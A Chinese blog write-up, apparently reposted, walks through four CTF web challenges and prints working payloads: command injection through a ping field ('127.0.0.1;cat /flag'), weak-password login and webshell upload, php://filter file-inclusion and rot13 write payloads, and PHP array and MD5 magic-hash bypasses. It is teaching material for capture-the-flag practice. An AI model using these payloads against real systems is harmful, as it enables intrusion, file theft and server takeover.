本文介绍: 前端限制,众所周知前端的限制只是为了前端用户可以输入有效的数据,让后端减小开销,更好处理数据。前端验证通过客户端输入数据的合法性进行检查来确保数据是有效且安全的。通常,它会通过系列简单规则,如长度检查格式检查正则表达式匹配等,验证用户输入是否符合要求,以提高应用程序安全性和可用性。前端检测,也称为前端验证客户端验证,是指在用户界面上对用户输入的数据进行验证和验证的过程。它是在用户提交数据到服务器之前,在客户端(通常是在浏览器中)进行的验证过程

[LitCTF 2023]Ping

知识点:前端检测

前端有限制,众所周知前端的限制只是为了前端用户可以输入有效的数据,让后端减小开销,更好处理数据。

 前端验证是通过客户输入数据的合法性进行检查来确保数据是有效且安全的。通常,它会通过系列简单规则,如长度检查格式检查正则表达式匹配等,验证用户输入是否符合要求,以提高应用程序的安全性和可用性

前端检测,也称为前端验证或客户端验证,是指在用户界面上对用户输入的数据进行验证和验证的过程。它是在用户提交数据到服务器之前,在客户端(通常是在浏览器中)进行的验证过程

前端检测主要用于验证用户输入的数据是否符合特定的要求和限制。它可以用于确保用户输入的数据格式正确、完整性和合法性,并提供即时的错误提示反馈

前端检测通常基于前端开发技术,如HTML、CSS和JavaScript通过在前端代码编写验证逻辑规则,可以确保用户输入的数据满足特定的要求,如必填字段最小长度、最大长度、数据格式等。

“whoami”是一个常见的命令行命令,通常用于显示当前登录用户的用户名。当您在命令行中输入”whoami”并按下回车键时,系统返回当前用户的用户名作为输出

 解题

进入环境,要求ping一个IP地址,先用127.0.0.1试一下

901d887c78b344c2b89871d10f565e64.png

 用管道尝试查看一下根目录

127.0.0.1|ls

28a69a2a30594fc5af3d153d951776d6.png

 多试了几次管道符,猜测是前端检测,利用burp抓包然后改包

command=127.0.0.1|whoami&ping=Ping

9619175019214c01840e461f4ac5dc57.png

 查看根目录发现flag文件

command=127.0.0.1;ls /&ping=Ping

7fb1553fd61944c3b2b627c1a118553e.png

 查看flag文件

command=127.0.0.1;cat /flag&ping=Ping

a357c0ffdba74f699b14aa08216ea265.png

 NSSCTF{301d61d3-bf0d-4526-9853-6837a152ae32}

[LitCTF 2023]作业管理系统

知识点:文件上传+弱口令

进入环境,是一个登录框,大概是登录完成后进行文件上传

6df52de43f0340a29fcaed39a0493419.png

 先查看源码发现账户登录是弱口令登录admin/admin

a3c1a2c7e8b84767a3cae77c81119af6.png

 找到上传口开始文件上传

98104c2dabde4db096b4e87a3c803ecc.png

 文件上传成功

8b21e22faf794788817cd91c16e605ac.png

 用蚁剑连接就可以找到flag

[SWPUCTF 2022 新生赛]ez_ez_php

知识点:PHP伪协议+文件包含

进入环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

if ( substr($_GET["file"], 0, 3) === "php" ) {: 如果GET参数 file 的前三个字符是 “php

这段代码一个简单的文件包含漏洞示例。它接受一个名为 file 的GET参数,并根据参数的值来包含不同的文件。如果参数以 “php” 开头,则会包含相应的文件并执行其中的代码,否则会输出 “Hacker!!”。如果没有传递 file 参数代码会将自身的源代码进行语法高亮显示

 看到这个三等号,我想到了用php://filter协议(php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了)

?file=php://filter/read=convert.base64-encode/resource=flag.php

d9cddfce77b2402aa09c0b02725bb2ac.png

 将得到的base64进行解码,提到用php协议,但是一开始就用到php协议

7d00419b6176414ea6eee9069a0cb76b.png

 一、用php协议rot13解出本题

?file=php://filter/write=string.rot13/resource=flag

223482c22a394d1ab3e1fb58f82b1fcb.png

 二、php协议读取文件的时候,直接读取flag再进行base64解码,而不用读取flag.php

?file=php://filter/read=convert.base64-encode/resource=flag

f3ba7b07c1a046d8a9fd70272403bf76.png

 caa79717af6b4d909194a60eb95a1d12.png

笔记

php伪协议参考:file_put_content和死亡·杂糅代码之缘 – 先知社区

rot13

尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可

php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php这里<?php phpinfo();?>的rot13编码即为<?cuc cucvasb();?>,所以这里可以进行写入;载荷效果如下:

 

e1ba0c6f5fb596edd8ef66a19d47cb06.png

原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;

 

[NSSCTF 2022 Spring Recruit]babyphp

知识点数组绕过+弱比较

解题

进入环境拿到源码

 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&amp;&amp;!preg_match('/[0-9]/',$_POST['a'])&amp;&amp;intval($_POST['a'])){
    if(isset($_POST['b1'])&amp;&amp;$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&amp;&amp;md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&amp;&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 

 解析

if(isset($_POST[‘a’])&&!preg_match(‘/[0-9]/’,$_POST[‘a’])&&intval($_POST[‘a’]))

 在PHP中,intval()函数不能直接识别数组intval()函数用于获取变量整数值,它可以识别字符串数字类型变量,并将其转换整数。如果你尝试将一个数组传递给intval()函数,它将返回0。

 if(isset($_POST[‘b1’])&&$_POST[‘b2’]){
        if($_POST[‘b1’]!=$_POST[‘b2’]&&md5($_POST[‘b1’])===md5($_POST[‘b2’]))

首先,使用isset()函数检查$_POST数组是否存在名为”b1″和”b2″的元素。如果两个元素存在且非空,将执行if语句中的操作。if语句第二个条件判断用户输入的”b1″和”b2″的值是否相等,且md5加密是否相等。如果这两个条件都成立,就会被视为通过校验,可以执行后续操作

 if($_POST[‘c1’]!=$_POST[‘c2’]&&is_string($_POST[‘c1’])&&is_string($_POST[‘c2’])&&md5($_POST[‘c1’])==md5($_POST[‘c2’]))

首先,通过比较P​OST[′c1′]和POST[‘c2’]的值来判断它们是否相等,同时使用is_string()函数确保两个值都是字符串类型。if语句的第三个条件使用md5加密对和P​OST[′c1′]和POST[‘c2’]的值进行比较判断它们的加密后的结果是否相等。如果这个条件也满足,就会被视为通过了校验,可以执行后续操作

is_string()函数在PHP中用于检测一个变量是否为字符串类型。它只能用于检测一个变量是否是一个普通的字符串,而不会将数组识别字符串

如果传递给is_string()函数参数是一个数组,is_string()函数会返回false,因为数组不是字符串类型。需要传入值是字符串且md5值相等

4e31e1d9d689483f9fe26d5acc06f385.png

payload

a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708

得到flag

ef7677c2ebed48bca068561323c6d82d.png

 

 

原文地址:https://blog.csdn.net/qq_73861475/article/details/134597403

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_14339.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注